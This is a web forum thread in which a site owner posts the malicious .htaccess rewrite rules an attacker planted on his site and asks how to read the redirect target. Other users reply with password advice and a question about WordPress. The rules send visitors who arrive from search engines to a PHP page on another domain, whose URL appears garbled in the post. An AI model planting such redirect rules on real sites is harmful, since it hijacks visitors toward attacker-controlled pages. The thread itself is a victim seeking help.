My Site Was Hacked - htaccess - Rewrite Rule

3 replies
One of my sites was hacked by someone changing my .htaccess file. After researching I found the hack is supposed to redirect search engine traffic from my site to some other site.

The hack did not work because when I called up my site, I got my generic index.html page instead of my home page, so it was disruptive but not successful. I tried to figure it out, but I cannot decipher the attempted redirected to page. The code is below. Does anyone know how to decipher the attempted redirect page?

modernfix . com looks like a legitimate domain, so I figured they were likely also hacked by having php code inserted somewhere.

Thank You,
Phil

Code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .google. [OR]
RewriteCond %{HTTP_REFERER} .ask. [OR]
RewriteCond %{HTTP_REFERER} .yahoo. [OR]
RewriteCond %{HTTP_REFERER} .excite. [OR]
RewriteCond %{HTTP_REFERER} .altavista. [OR]
RewriteCond %{HTTP_REFERER} .msn. [OR]
RewriteCond %{HTTP_REFERER} .netscape. [OR]
RewriteCond %{HTTP_REFERER} .aol. [OR]
RewriteCond %{HTTP_REFERER} .hotbot. [OR]
RewriteCond %{HTTP_REFERER} .goto. [OR]
RewriteCond %{HTTP_REFERER} .infoseek. [OR]
RewriteCond %{HTTP_REFERER} .mamma. [OR]
RewriteCond %{HTTP_REFERER} .alltheweb. [OR]
RewriteCond %{HTTP_REFERER} .lycos. [OR]
RewriteCond %{HTTP_REFERER} .search. [OR]
RewriteCond %{HTTP_REFERER} .metacrawler. [OR]
RewriteCond %{HTTP_REFERER} .bing. [OR]
RewriteCond %{HTTP_REFERER} .dogpile.
RewriteRule . httpmodernfix.comimgglyphtemp.php [R,L]
#hacked #htaccess #rewrite #rule #site
  • Profile picture of the author depotgang
    I have had it done to me too. Change all your password to something so bizzare no one will discover it.
    Signature

    Learn how to start your own Solo Ad Business without an autoresponder or build a list. It's Fast Fun and Profitable. https://soloadmasterclass.com/

    {{ DiscussionBoard.errors[1487615].message }}
    • Profile picture of the author bloogsmaster
      This happened to me the other day too to one of my sites. Are you using WP? If so, what version?
      {{ DiscussionBoard.errors[1487620].message }}
      • Profile picture of the author bluefoot
        Originally Posted by depotgang View Post

        I have had it done to me too. Change all your password to something so bizzare no one will discover it.
        That's the first thing I did. It's now 22 characters with upper case and special characters. That will help against brute force, but I'm worried maybe a virus could be hijacking information.

        Originally Posted by bloogsmaster View Post

        This happened to me the other day too to one of my sites. Are you using WP? If so, what version?
        Not WP. It's hand coded html and CSS.
        {{ DiscussionBoard.errors[1487643].message }}

Trending Topics